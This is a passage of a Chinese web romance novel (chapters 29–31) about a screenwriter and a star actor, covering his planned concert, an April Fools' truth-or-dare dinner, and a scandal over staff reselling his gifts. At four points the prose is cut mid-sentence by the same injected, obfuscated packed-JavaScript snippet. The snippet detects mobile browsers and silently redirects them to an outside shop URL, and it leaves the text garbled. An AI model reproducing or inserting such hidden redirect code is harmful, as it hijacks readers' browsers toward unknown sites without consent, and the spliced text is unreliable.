闻朝盯着变黑的手机屏幕,久久没有动弹。 书房里只开了一盏台灯,光线昏黄,将她笼罩在一片静谧之中。 窗外的天色已经完全暗了下来,城市的灯火渐次亮起,与天上稀疏的星辰遥相呼应。 春分了。 昼夜等长,阴阳平衡。旧的渐去,新的将来。 他想要一场演唱会。 他想用音乐说话。 他想唱有特别意义的歌。 而她,刚刚写完一首关于季节、关于悬而未决、关于隐秘悸动的歌。 不知道过了多久,手机又震动了一下。她低头,是沈淮时发来的消息,没有提直播,没有提演唱会,只是一如既往地简洁: 【剧本第32场,关于离别的那段独白,我有了点新想法,方便聊聊吗?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276107|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 语气平静地仿佛刚才在千万人面前流露出罕见柔软和渴望的人,不是他。 闻朝的指尖在屏幕上悬停,脑海里却回响着他那句平静又执着的询问: “我能再开一场演唱会吗?” 她慢慢地、一个字一个字地回复:【方便的。沈老师请说。】 发送后,她想了想,又点开那个品牌直播的回放链接,找到他问出那个问题的片段,悄悄存了下来。 沈淮时说的“新想法”很快发了过来,是关于在送别挚友时,一段表面平静实则暗潮汹涌的独白。 他的见解一如既往地精准独到,切入角度刁钻,着重于人物此刻“必须克制”与“几乎克制不住”之间的临界点。 闻朝收敛心神,投入到专业的讨论中。 两人你来我往地发了十几条消息,将那段戏的情绪层次剖析得清晰分明。 结束时,沈淮时只回了一个简短的:【嗯,谢谢。打扰了。】 便再无下文。 仿佛刚才那场触及内心的直播互动,从未发生。 聊天页面依然亮着,光标在输入框里闪烁,像她此刻无法平息的心跳。 她想说点什么,关于那句“我能再开一场演唱会吗”,关于他眼睛里泄露出的光,关于那首盘旋在她心底的、未完成的歌。 但最终,她只是关掉了对话框。 书房重归寂静。剧本摊在桌上,密密麻麻的批注旁,是她在讨论间隙随手写下的几个词:季节、断裂、悸动、钟摆、悬而未决…… 她点开那个保存的直播片段,又看了一遍。 这一次,她关掉了声音,只看着他沉默的那几秒。 镜头拉得很近,她能看清他睫毛垂下时轻微的颤动,和抬起眼时,瞳孔里映出的、无数观看者的倒影,也能看清当他说出那句请求时眼眸深处近乎虔诚的认真。 那是一种被千万人爱着,却依然会感到孤寂的神情。 闻朝忽然理解了那种“悬而未决”。 不是暧昧,不是拖延。 而是两个都在各自轨道上高速运转的星球,在靠近时需要克服的巨大惯性。是明明感应到了引力,却必须精密计算每一个切入的角度,稍有不慎,便会错过,或是相撞。 她打开《第五个季节》的文件,开始敲打。 直到天快亮了。 闻朝保存文件,给常暮发了条语音:“词作我重新微调了一下,可能更……宿命了些,常老师您看看还有没有什么需要大改的地方……” 发完语音,她鬼使神差地又点开了沈淮时的朋友圈。虽然她知道他几乎不发私人内容。最新的一条,还是半个月前转发的电影官宣海报。 但头像下方的签名,不知何时变了。 从前是空白。 现在,只有两个字: 【待春】 春分已过,春日待启。 闻朝盯着那两个字看了很久,然后放下手机,走到窗边。 她想起沈淮时在直播最后,那个深深望进镜头的眼神。 那不是告别。 那是邀请。 29. “你可以,我们等” 等待夜色更浓重的时候,手机又亮起。这次是宋枝的消息,带着三个爆炸的表情包: 【快看热搜!!!沈淮时演唱会!!!】 闻朝点开微博,果然,#沈淮时我能再开一场演唱会吗#这个词条已经攀升至热一,后面跟着一个深红色的“爆”字。 点进去,是直播录屏的那段剪辑,评论区早已沸腾。 【呜呜呜哥哥你问得好小心翼翼,我心都碎了,你想开就开啊!】 【六年了!整整六年没有个人演唱会了!你知道我这六年是怎么过的吗?!】 【特别意义的歌……我有个大胆的猜测】 【不管了,工作室听到了吗!立刻!马上!给你们老板安排!!!】 【哥哥!开!立刻!马上!我买爆!】 【呜呜呜他问得好认真,好像真的在不确定,心疼死了。】 【不是‘想开’,是‘能开吗’,这种语气……他是不是遇到什么阻力了?】 【不管!工作室听到了吗?粉丝听到了吗?他想开演唱会!都给我支棱起来!】 【特别意义的歌……我已经开始做梦了。】 【姐妹们,把‘你可以,我们等’刷起来!让他看到我们的支持!】 【你可以,我们等。】 这句话被成千上万的粉丝复制、转发,刷满了话题页和评论区,整齐划一,带着一种温柔的坚定。 粉丝的呼喊排山倒海,带着积攒了数年的思念和毫无保留的支持,几乎要冲破屏幕。 闻朝一条条翻看着,心脏被一种莫名的情绪涨满,既为那份汹涌的爱意动容,又为那爱意中心的那个人感到一丝……心疼? 他那样的人,也会用不确定的语气,问出“能吗”这样的问题。 沈淮时“演唱会”的询问却像一颗投入平静湖面的石子,涟漪不断扩散。 先是粉丝群和各大社交平台被“沈淮时演唱会”的话题刷屏,各种猜测、期待、甚至六年前演唱会的高清片段都被翻出来反复品味。 接着,隐隐有业内消息流传说沈淮时的工作室确实在接触演出商和场馆,似乎并非一时兴起。 闻朝从不在剧组讨论这些,但总能从工作人员的只言片语或兴奋的表情中捕捉到风声。 她默默观察着沈淮时,他看起来一切如常,拍戏、对词、休息,眉宇间的专注甚至比以往更甚。 只是偶尔在拍摄间隙,当他独自一人看着远处,手指无意识地在膝上轻敲着某个节奏时,闻朝会觉得,那个关于舞台的梦,正在他心底安静而蓬勃地生长。 这天下午,闻朝被张导叫去,讨论一段需要配合画面重新调整的歌词。 走出导演棚时,夕阳正好,将长长的影棚通道染成暖金色。 她抱着笔记本低头走着,脑子里还在琢磨着旋律的走向,差点迎面撞上一个人。 “小心。”熟悉的声音在头顶响起,一只手虚扶了一下她的胳膊,很快便松开。 闻朝抬头,是沈淮时。他刚下戏,脸上还带着些许未散的戏剧情绪。 “沈老师。”闻朝站稳,下意识后退了小半步。 “嗯。”他应了一声,目光扫过她怀里的笔记本和打印出来的曲谱,“改歌词?” “是,张导觉得有一段画面感可以更强。” 两人并肩沿着通道慢慢往外走。沉默了片刻,沈淮时忽然开口,声音不高,像是随口提起:“演唱会的消息,听到了吧?” 闻朝心尖微颤,点了点头,“嗯,网上讨论很多。” “不是炒作。”他说,语气平淡,却带着一种确凿无疑的肯定,“是真的在准备。” 闻朝停下脚步,转头看他。 他也停下,侧身面向她。 金光落在他侧脸,长长的睫毛垂下,在眼睑处投下一小片阴影。 “为什么……突然这么想?”她问,声音不自觉地放轻了。 她知道,他一直想开演唱会。 六年前的那场演唱会,是他出道十二年来唯一一次的个人演唱会。粉丝都在期待属于他的第二场个人演唱会,可迟迟没等来消息。后来,大家也不再催了,只是默默地等着他,相信他有属于自己的节奏,却怎么也想不到,这个消息来的这样突然。 沈淮时沉默了一下,目光投向通道尽头被夕阳染红的天空。 “不是突然。一直都想。只是……”他顿了顿,似乎在寻找合适的词语,“之前觉得,需要更多的作品,更好的状态,更合适的时机。等来等去,发现不如直接问。” 直接问。 像在直播间里,对着千万人,平静地抛出那个问题。 “你问了,”闻朝轻声说,“然后呢?” “然后,”他转回头,目光落在她脸上,很沉静,却仿佛有温度,“发现有很多人愿意等,也发现,有些歌,再不放出来,可能就过了最适合唱的时候。” 有些歌。 闻朝的心跳漏了一拍,指甲无意识地掐进了笔记本的硬壳封面。 沈淮时看着她,有那么一瞬间,闻朝觉得他仿佛要说出什么至关重要的话。 但最终,他只是极轻地弯了下嘴角,那笑意很浅,却比任何明确的回答都更让人心绪浮动。 那边他的助理小跑过来,低声提醒他下一场戏的妆发时间到了。“我先过去。”他对闻朝说。 “好。”他转身离开,闻朝站在原地,看着他的背影消失在通道拐角,怀里的笔记本似乎变得有些烫手。 当晚,沈淮时的工作室账号已经转发了品牌直播的片段,配文简洁:【听到了。在努力了。】 评论区瞬间被“啊啊啊”和泪目表情淹没。 闻朝指尖在对话框上徘徊片刻,终究还是没忍住,打了一行字,又删掉,再打,再删。 【沈老师看过粉丝的留言了吗?大家都很期待演唱会。】 消息发出去,她竟有些屏息。这试探过于明显,几乎越过了那条心照不宣的界限。 这次,他回复得有点慢。 【刚看了些。】 然后,又是一条:【很感动。也很……有压力。】 闻朝没想到他会坦言“压力”。 以他今时今日的地位和口碑,开演唱会几乎是众望所归,粉丝的支持更是如山如海。 压力从何而来? 她还没想好如何回应,他的第三条消息进来了:【想做得更好。不想辜负。】 简单的几个字,却重若千钧。 闻朝仿佛能看见他此刻微蹙着眉,看着那些热情洋溢的留言,心里盘算的却是如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276108|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呈现一场对得起所有期待、甚至超越期待的演出。 他不是那种会被欢呼声冲昏头脑的人,荣誉和热爱于他,是动力,更是沉甸甸的责任。 她忽然就明白了,他那句“我能再开一场演唱会吗”里,除了渴望,或许也藏着这份自我审视的重量。 【你一定可以的。】她认真地打字,【大家等的是你,是你的音乐和舞台。只要是你站在上面,就足够好了。】 发送出去后,她又补充了一句,带着点自己都没察觉的笃定:【而且,你会做得比“足够好”更好。】 这次,他回得很快,只有一个字: 【嗯。】 然后,紧跟了一句:【《第五个季节》的编曲,我又调整了一版,加了点现场感的东西。晚点发你听听?】 闻朝的心脏猛地一跳。 现场感。 这个词,在此刻提及,与刚刚尘埃未定的“演唱会”话题,产生了某种隐秘而强烈的共振。 她几乎能听到自己血液流动的声音,指尖微颤着回复:【好。我等你。】 “等你”两个字发出去,她怔了一下,仿佛无意间又泄露了太多情绪。但消息已无法撤回。 沈淮时没有再回复。 闻朝关掉手机,走到窗边。 春分的夜风带着微凉的湿意拂过脸颊,楼下街道的车流汇成光的河流。城市的喧嚣隔着玻璃,显得遥远而模糊。 她的思绪却异常清晰,像被雨水洗过的夜空。 演唱会、舞台、调整后带着“现场感”的《第五个季节》, 以及,他那个沉静又暗涌着波澜的“嗯”。 那个“悬而未决的季候”,在春分这一天,因为他一句公之于众的渴望,因为她一句下意识的“等你”,忽然被注入了一种向前滚动的势能。 它依然悬在那里,但风的方向,好像变了。 她转身回到书桌前,打开文档,键盘敲击声在寂静中显得格外清晰,带着一种前所未有的、踏实而充满期待的力量。 夜深了。 电脑右下角的时间跳向零点。 一份新的音频文件,悄无声息地传到了她的邮箱。 标题很简单:《第五个季节》。 她戴上耳机,点开播放。 前奏不再是之前demo里略显孤寂的钢琴独奏,而是加入了空旷的、类似场馆回响的环境音,隐约还能听见极细微的、模拟现场的电流杂音。 然后,是他的声音,比录音室版本更松弛,更带着呼吸感,仿佛真的站在空旷的舞台上,对着看不见的万千人海,亦或是只对着黑暗中唯一的一束追光,轻声吟唱:“昼夜失序的钟摆,悸动是唯一的节拍……” 歌声流淌,新的编曲层次更加丰富,尤其是最后那句“我在这里,是悬而未决的季候”,尾音处理得更加绵长,带着一丝不易察觉的颤音,仿佛真的在等待一个落点,一个回应。 闻朝闭上眼,任由旋律将她包裹。 她仿佛看见了那尚未存在的舞台,看见了光柱下他挺拔的身影,听见了万人合唱中,他清晰而独特的声线,唱着这首属于“悬而未决”,却仿佛在寻找“落点”的歌。 春分夜,昼夜等长。 而有些季节,或许正在失衡的时序,逐渐颠倒。 30. 借着玩笑说真心话 四月的北京,空气里残存着料峭,但阳光已有了力度,透过梧桐新发的嫩叶,漏下明明灭灭的光斑。 闻朝埋首在最终版的剧本核对和零星歌词的调整中,几乎忘记了日期的流逝。 直到某日清晨,她被手机接连不断的消息提示音吵醒。 大学同学群、编剧同行群、甚至沉寂已久的家族群,都蹦出各种或拙劣或精巧的玩笑。 宋枝的消息顶在最前面,是一张P得面目全非的合影,附言:【朝朝!我和易安突然杀到北京啦!快开门!】 下面紧跟着一条:【愚人节快乐!想我了吧?真遗憾,是假的。(哭哭)】 闻朝揉了揉眼睛,无奈地笑了笑,回了个“无聊”,任务栏下滑,她的余光瞥见了右上角的日期:4月1日,愚人节。 愚人节。这个充斥着无伤大雅谎言的日子。 然而,当她踏入剧组,却隐约察觉到一丝不同寻常的氛围。 工作人员三三两两聚着,低声说笑,眼神偶尔瞟向主演休息区的方向,带着点看好戏的雀跃,他们在角落里小声笑着交换着无伤大雅的整蛊点子,有人偷偷把导演的保温杯里换上了泡着枸杞的可乐。 道具组的小伙子们互相在对方的水杯里偷放柠檬片,桑华笑嘻嘻地骗某个助理演员“导演喊你马上过去挨骂”。 空气里浮动着一种心照不宣的、无害的玩笑意味。 她脑海的念头只是一闪而过,很快又被拉回繁重的修改工作里。新一周的拍摄计划排得很满,几场关键戏的台词仍在微调,张导的要求近乎严苛。 午休时间,剧组微信大群突然热闹起来。 道具组的小王发了一张片场角落的照片,配文:【谁把沈老师的御用保温杯换成这个粉红兔子的了?!(惊恐)@沈淮时】 照片里,一个与沈淮时本人清冷气质极不相符的、毛茸茸的粉色兔子杯,正端放在他休息室的茶几上。 群里瞬间炸开锅,各种“哈哈哈哈”和看热闹的表情包刷屏。 闻朝看着手机屏幕,嘴角不自觉弯了弯。这就是剧组,再紧张的工作氛围里,也总能找到些无伤大雅的缝隙,透透气,闹一闹。 她几乎能想象沈淮时看到这些信息时,那张脸上可能出现的、一丝无奈又纵容的神情。 宋枝发来一条消息:【朝朝!愚人节快乐!今年有没有人捉弄你?或者……你有没有鼓起勇气捉弄一下某人?(坏笑)】 闻朝回了个翻白眼的表情包。 宋枝不依不饶:【说真的,多好的机会啊!借着玩笑说点真心话,进可攻退可守,就算被无视了也可以甩锅给节日!完美!】 【没空,忙。】闻朝简短地回复,试图结束这个话题。但心里某个角落,却被宋枝的话轻轻挠了一下。 借着玩笑……说真心话吗? 剧组订的盒饭送到了。 大家三三两两聚在一起边吃边聊。闻朝端着饭盒,习惯性地想找个清静角落,却看见沈淮时独自坐在道具仓库门口的一把旧导演椅上,面前支着个小折叠桌,也在吃饭。 她脚步顿了顿。似乎察觉到视线,沈淮时抬起头。隔着稀疏走动的人群,他的目光落在她身上,很平静地朝自己旁边的空位偏了下头,那里还有一把类似的旧椅子。 一个无声的邀请。闻朝的心跳漏了一拍。 她捏着一次性饭盒的边缘,走了过去。“这里……挺安静。” 她在他旁边的椅子坐下,打开饭盒。是普通的剧组两荤一素,油光有点重。 “嗯,那边太吵。”沈淮时夹起一筷子米饭,动作斯文。 两人沉默地吃了几口饭。不远处的欢声笑语像隔着一层毛玻璃传来,更显得他们这一角有种奇特的静谧。 “字幕对完了?”沈淮时问,打破了沉默。 “快了,还剩一点收尾。”闻朝答,想了想,补充道,“你建议修改的那几处地方,导演都同意了,效果确实更好。” 沈淮时“嗯”了一声,没再说什么。闻朝低头扒拉着自己饭盒里的土豆烧肉,脑子里却莫名想起宋枝那句“借着玩笑说真心话”。 愚人节……似乎是一个最好的、也是最坏的幌子。所有越界的话语,都可以用一句“开玩笑的”轻易收回,保全那点可怜的体面。 她夹起一块卖相尚可的排骨,犹豫了一下,没放进自己嘴里,而是很自然地,隔着那张小小的折叠桌,放进了沈淮时饭盒边缘空着的一格里。 “这个挺好吃的。”她说,语气寻常得像在讨论天气。 沈淮时筷子停住了。他看了看那块排骨,又抬起眼,看向闻朝。他的眼神很深,带着一丝清晰的讶异,以及更深的探究。 闻朝没躲开他的视线,只是静静回望,手指却悄悄蜷缩起来,抵着微凉的塑料饭盒底部。 她在赌,赌他明白这不仅仅是“分享食物”。 时间似乎凝固了几秒。远处不知谁讲了个笑话,爆出一阵大笑。 然后,沈淮时垂下眼帘,用筷子夹起了那块排骨,送入口中。他咀嚼得很慢,喉结滚动了一下。“是很好吃。”他咽下后,才开口,声音有些低哑,“谢谢。” 一句“谢谢”,划下了界限,又似乎什么都没说。 闻朝心里那根绷紧的弦,松了松,又漫上一点说不清的失落。她低下头继续吃饭,排骨的酱汁好像有点咸了。 晚上收工的时候,闻朝将最后一份文件归档,拎起帆布包,正准备离开,手机在掌心震动了一下。 是剧组大群的消息。张导发了条语音,点开,他那带着点疲惫又刻意放松的嗓音传出来:“都辛苦了!咱们不搞虚的,门口‘老地方’烧烤,我请客,放开了吃,算咱们剧组的愚人节福利!” 下面顿时跟了一串欢呼和表情包。空气里的倦意仿佛被这烟火气的邀约驱散了不少。 私房菜馆藏在一条胡同深处,青砖灰瓦,环境清幽。 包厢里果然已经到了不少人,张导、制片、几位主要演员和部门负责人,热闹非凡。大家似乎都暂时抛开了工作的紧绷,聊着圈内八卦,吐槽拍摄趣事,气氛融洽。 闻朝不是善于应酬的性格,大多时候只是安静地听着,偶尔微笑附和。 沈淮时坐在她斜对面,被张导拉着讨论某个电影节的事,他话不多,但每每开口总能切中要点。 他的目光偶尔会掠过全场,有时会与闻朝的视线有短暂的交汇,平静无波,又仿佛含着只有彼此才懂的、关于下午那块排骨的隐秘暗码。 酒过三巡,气氛愈加热络。不知谁起哄,说今天是愚人节,不能就这么平平淡淡过了,必须有人“牺牲”一下,玩点刺激的。 “真心话大冒险!老掉牙但永不过时!”副导演张礼举着酒杯喊。 一片附和声。 闻朝下意识想躲开,却被旁边的桑华拉住,“朝朝别躲!都得玩!” 一个空啤酒瓶放在了桌子中央。 第一轮,瓶口缓缓指向了灯光师。 他选了大冒险,被要求跑到门口对路过的第一个人大声喊“我是光之巨人”。在一片哄笑声中,他红着脸照做了,回来时带回一脸懵的路人惊愕表情包。 游戏继续,气氛越来越放松,玩笑的尺度也稍稍放开。 闻朝暗自祈祷别转到自己,可偏偏,几轮之后,细长的瓶口不偏不倚,对准了她。 “哇哦!闻编!”众人起哄。 闻朝感到头皮微微发麻,“我……选真心话吧。” 大冒险太不可控。 提问权落在了坐在她对角的摄影指导手里,一个性格爽朗的大哥。他摸着下巴,眼睛在闻朝和桌上众人身上扫了一圈,最后,状似无意地,目光在沈淮时那边停留了一瞬,咧开嘴笑了。 “闻编,咱们剧组帅哥美女这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276109|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,合作这几个月,”他拖长了调子,问题直奔最俗套却也最让人紧张的方向,“有没有那么一瞬间,对戏里或者戏外的某位,产生过超出工作关系的好感啊?” 问题一出,包厢里安静了一瞬,随即爆发出更响的起哄声。 这种问题,在愚人节的掩护下,既刺激又留有余地。 大家的目光都聚焦在闻朝身上,带着善意的、看好戏的期待。 闻朝的脸颊瞬间烧了起来。她能感觉到,沈淮时的目光也落在了她身上,隔着酒杯和餐盘,隔着缭绕的些许烟雾,沉静而难以忽视。 戏里?戏外?这问题像一把钝刀,剖开她小心维持的平静。她可以撒谎,用一个“没有”轻松化解,在愚人节的喧闹中一笑而过。 可她想起午后他吃下那块排骨时低垂的眼睫,想起那晚温热的粥和带有私心的歌词,想起无数个他沉浸于角色时,那让她移不开目光的专注侧影。 悬而未决太久了。 包厢里的起哄声渐渐低下去,大家都在等待她的回答。 导演陈序也笑眯眯地看着,仿佛这只是一个无伤大雅的小游戏。 闻朝深吸了一口气,抬起眼。她没有看任何人,目光落在正对着她的瓶口,声音不大,却足够清晰,穿透逐渐安静下来的空气,“有。” 短短一个字,像一颗石子投入深潭。 “喔——!!!”短暂的寂静后,更大的起哄声几乎要掀翻屋顶。 众人兴奋地追问:“谁啊谁啊?” “闻编快说!是戏里的演员还是戏外的哪位同仁?” 闻朝却不再回答了。她只是端起茶杯,抿了一口,用沉默将所有的追问和探寻都挡在外面,唯独留下了那个“有”字。 她的余光能看到,沈淮时握着茶杯的手指,几不可察地收紧了些。他脸上的表情依旧没什么变化,只是眼神更深了,像暮色中的湖。 游戏还在继续,但之后的环节似乎都蒙上了一层别样的意味。 众人看向闻朝的眼神多了几分好奇和玩味,偶尔也会偷偷瞟向沈淮时。 毕竟,剧组里最受人欢迎的优秀男性,毋庸置疑是他。 而沈淮时,始终保持着那副沉静的姿态,只是参与对话的频率似乎更低了些。 聚餐在晚上九点多结束。大家互相道别。 闻朝随着人流出包厢,晚风一吹,脸上的热度才稍稍降下些许。刚才那一刹那的冲动,此刻化作绵密的心跳,鼓噪在耳膜。 她指尖摸到背包侧袋里那个毛茸茸的、桑华下午悄悄塞给她的兔子钥匙扣,还记得桑华凑近她,促狭地笑着说:“愚人节小礼物!和沈老师那个杯子配套哦!” 她拿出钥匙扣,冰凉的金属钥匙和软绒的兔子耳朵形成奇妙的触感。 手机屏幕亮起,是宋枝的消息轰炸:【怎么样怎么样?!有没有发生什么?!愚人节告白大作战成功了吗?!快汇报战况!(抓狂)】 闻翘着嘴角,指尖在屏幕上轻快跳动,回复:【算是告白。】 几乎就在下一秒,宋枝的电话就打了进来,铃声在寂静的电梯里显得格外突兀。 闻朝翘着嘴角,没有立刻接起。她知道电话那头会是怎样一番激动的盘问和尖叫。 电梯“叮”一声到达楼层。门开,她踏进走廊温暖的光线里,这才不紧不慢地,按下了接听键。 “喂?” 电话那头,果然传来了宋枝压抑不住兴奋、几乎要冲破听筒的声音:“闻朝!快!给!我!从!实!招!来!一个字都不许漏!!!” 闻朝听着好友咋咋呼呼的声音,走过安静的走廊,拿出钥匙,插进锁孔。 “咔嚓。” 门开了,温暖的、属于她自己的气息扑面而来。 她走进屋,关上门,将所有小心翼翼的试探,所有的悬而未决都留在身后这个特别的、属于愚人节的夜晚。 31. 我相信他会处理好的 电话那头宋枝的追问还在持续,闻朝盘腿坐在沙发上,平板摊在腿上,一边时不时回应几声,一边翻看着群里发的关于明天拍摄的通告。 一条推送突然弹到平板屏幕顶端,来自某个经常推送娱乐资讯的App。 标题简短,却像一根冰冷的针,猝不及防刺入眼底:【沈淮时工作人员疑倒卖其私人礼物,粉丝心寒,旧日争议再起?】 闻朝呼吸一滞,一时也没回应电话另一头叽叽喳喳说着八卦的宋枝,便急切地点开了推送。 文章不长,附带了几张清晰的截图。截图来自某个知名二手交易平台,出售的物品包括:某奢侈品牌限量版钢笔、一款绝版黑胶唱片、一条看起来质地精良的手织围巾…… 售卖描述写得很“职业化”,强调“保真”、“来源可靠”、“明星同款”,甚至隐晦暗示“来自身边工作人员清理”。价格标得不低,但比起原价仍是“骨折”出让,显然急于变现。 每样物品的图片上还特意带上“沈淮时工作室”、“年会礼品”、“艺人赠送”等字样,甚至有一张围巾的细节图,边缘处一个不甚起眼但熟悉的手绣字母“K”,那是沈淮时英文名的首字母,也是他某些私人物品上会有的标记。 发布者言辞犀利:“顶流小生沈淮时疑似对工作人员苛刻?品牌代言赠送的礼盒,转头就被工作室员工挂上二手平台明码标价?到底是工作人员个人行为,还是上行下效,反映了团队乃至艺人本身对他人心意的漠视?” 评论区和转发已经炸开了锅。 粉丝怒不可遏,痛斥工作人员“没有心”、“辜负哥哥信任和粉丝的爱”, 要求工作室立刻彻查并开除涉事人员。 【清理闲置?谁家清理闲置把没拆封的、明显是礼物的东西‘清理’掉?这分明是偷!】 【工作室装死吗?不出来解释?@沈淮时工作室】 而更多看热闹不嫌事大、或是本就对沈淮时有微词的黑粉和营销号已经蜂拥而至: 【哟,不愧是高冷沈老师,送出去的东西转头就被卖,看来也不是多珍贵嘛。潜台词不就是‘反正他也不稀罕’?】 【工作人员都敢这么干,正主平时得有多不把别人的心意当回事?】 【之前不就传他私下冷漠难相处吗?看来不是空穴来风。】 【礼物是送给工作人员的,人家怎么处理是自己的事吧?这也能黑?】 【话不能这么说,毕竟是带着沈淮时名头送的东西,代表一份情谊和认可,转头卖掉,观感太差,也打沈淮时的脸。】 【沈淮时团队不是一直号称管理严格吗?打脸来得太快。】 闻朝飞快地滑动屏幕,眉头紧锁。她认得那条围巾。去年大寒那天,剧组拍摄遇到寒流,沈淮时让助理给几位经常加班到深夜的编剧、道具师和剧组其他工作人员都送了一条,说是品牌赞助,保暖实用。 她也有一条,灰色的,很柔软,此刻正叠放在衣柜里。 她绝不相信这是沈淮时默许甚至授意的行为。他做事向来体面周全,对身边工作人员也多有照顾。这更像是某个或某几个员工的个人贪小便宜之举。 但舆论不会深究这些。人们需要的是话题,是可供宣泄自己情绪的靶子。尤其是“沈淮时”这个名字,自带流量与审视,任何一点瑕疵都会被迅速放大。 网络舆论从不耐心等待真相。它只需要一个引爆点。果然,更多的“陈年旧料”开始借着这股“东风”迅速蔓延。 【听说他特别难伺候,对助理呼来喝去,稍不如意就冷脸。】 【他对粉丝也就那样吧,表面客气,私下里能躲就躲,也就团队会营销‘爱惜羽毛、专注作品’的人设。】 【以前合作过的那位谁,不是就在访谈里说过吗,和某位‘很有艺术追求’的男演员合作‘压力很大’,对方‘沉浸在自己的世界里,缺乏基本的人际温度’。(原话可不是这样,但意思差不多嘛)】 【他对粉丝其实挺冷淡的,签名合影能躲就躲,也就是团队会营销‘低调专注’人设罢了。】 真真假假,捕风捉影,混杂着刻意引导的评论,迅速将“工作人员倒卖礼物”这起性质明确的个人行为,上升到了对沈淮时本人品性和团队文化的质疑与攻击。 电话那头,宋枝察觉到不对,“朝朝?怎么了?出什么事了?你那边好安静。” 闻朝张了张嘴,却发现喉咙发紧。她深吸一口气,强迫自己冷静,“沈淮时那边……出了点事。他工作室的人,好像把他收的礼物,拿到二手平台卖了。” “什么?!”宋枝尖叫,“疯了?这要是真的,他团队是吃干饭的吗?不对,这根本不是吃干饭,这是内鬼吧!这要被骂死的啊!而且怎么会现在爆出来?谁爆的?那个卖家自己蠢还是被人盯上了?” 一连串的问题砸过来,也是闻朝心头的疑问。 是单纯的内部人员贪心不足,还是有人设局? 在新影片拍摄关键期的节骨点,他个人口碑和商业价值稳步上升期,突然爆出这种极易引发道德审判的丑闻,时机未免太“巧”。 “网上已经翻起旧账了。”闻朝声音干涩,“以前的“黑料”帖子又被翻出来,说得……很难听。” “这是有人要搞他!”宋枝斩钉截铁,“绝对的!卖礼物这种事可大可小,处理好了开除个把工作人员道个歉也就过去了,但现在明显是冲着把他搞臭来的!联系到以前的‘黑料’,这是要把他打成德不配位的典型啊!你得赶紧问问沈老师那边情况!” 见闻朝迟迟不说话,宋枝语气陡然放软,带上了真切的担忧,“朝朝,你没事吧?” “我没事。”闻朝顿了顿,补充道,“枝枝,我先挂了。” 不等宋枝再追问,她结束了通话。 房间里骤然安静下来,只有平板屏幕还幽幽亮着,定格在那篇触目惊心的推送文章页面上。 闻朝点开微信。剧组大群暂时安静,但几个私下关系较近的小群已经有人在小心翼翼地问: “看到热搜了吗?沈老师那边没事吧?” “这也太离谱了,谁干的啊?” “会不会影响拍摄进度?” 她犹豫片刻,点开了与沈淮时的聊天框。最后一条消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276110|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,依然是当初讨论剧情的。 此刻,他那边想必已经焦头烂额。工作室需要紧急声明,需要找出涉事人员,需要安抚暴怒的粉丝,需要应对媒体询问…… 而他本人,大概会被团队要求保持沉默,避免任何回应被过度解读。 闻朝的手指悬在键盘上方,想打点什么。问一句“你还好吗?”,或者“需要帮忙吗?”,或者只是发一个简单的表情。但最终,她还是缓缓收回了手指。 现在不是时候。她的任何联系,在这种敏感时刻,都有可能被无孔不入的窥探放大成另一种麻烦。 剧组里下午那点无伤大雅的愚人节玩笑气息,早已被网络上的腥风血雨吹得无影无踪。 她想起他吃饭时平静的侧脸,想起他咽下排骨时滚动的喉结,想起他听到她那声“有”时,握紧茶杯的修长手指。 那些私下的、细腻的、悬而未决的波动,在突如其来的舆论风暴面前,显得如此微不足道。 就在这时,手机再次震动。这次是桑华发来的消息,语气带着担忧和气愤: 【朝朝,看到热搜了吗?气死我了!那条围巾我也有,一直收得好好的!肯定是哪个眼皮子浅的干的!沈老师肯定不知道!现在网上什么难听话都有……你……你还好吧?】 最后一句,意有所指。 闻朝知道桑华在问什么。她回复:【我没事。清者自清,我相信他会处理好的。】 这话既是说给桑华听,也像是对自己的一种告诫。 就在这时,平板又弹出一条推送,来自另一个娱乐大V:【速报!疑似涉事二手平台账号已被注销!沈淮时工作室紧急联系平台?动作迅速引猜测!】 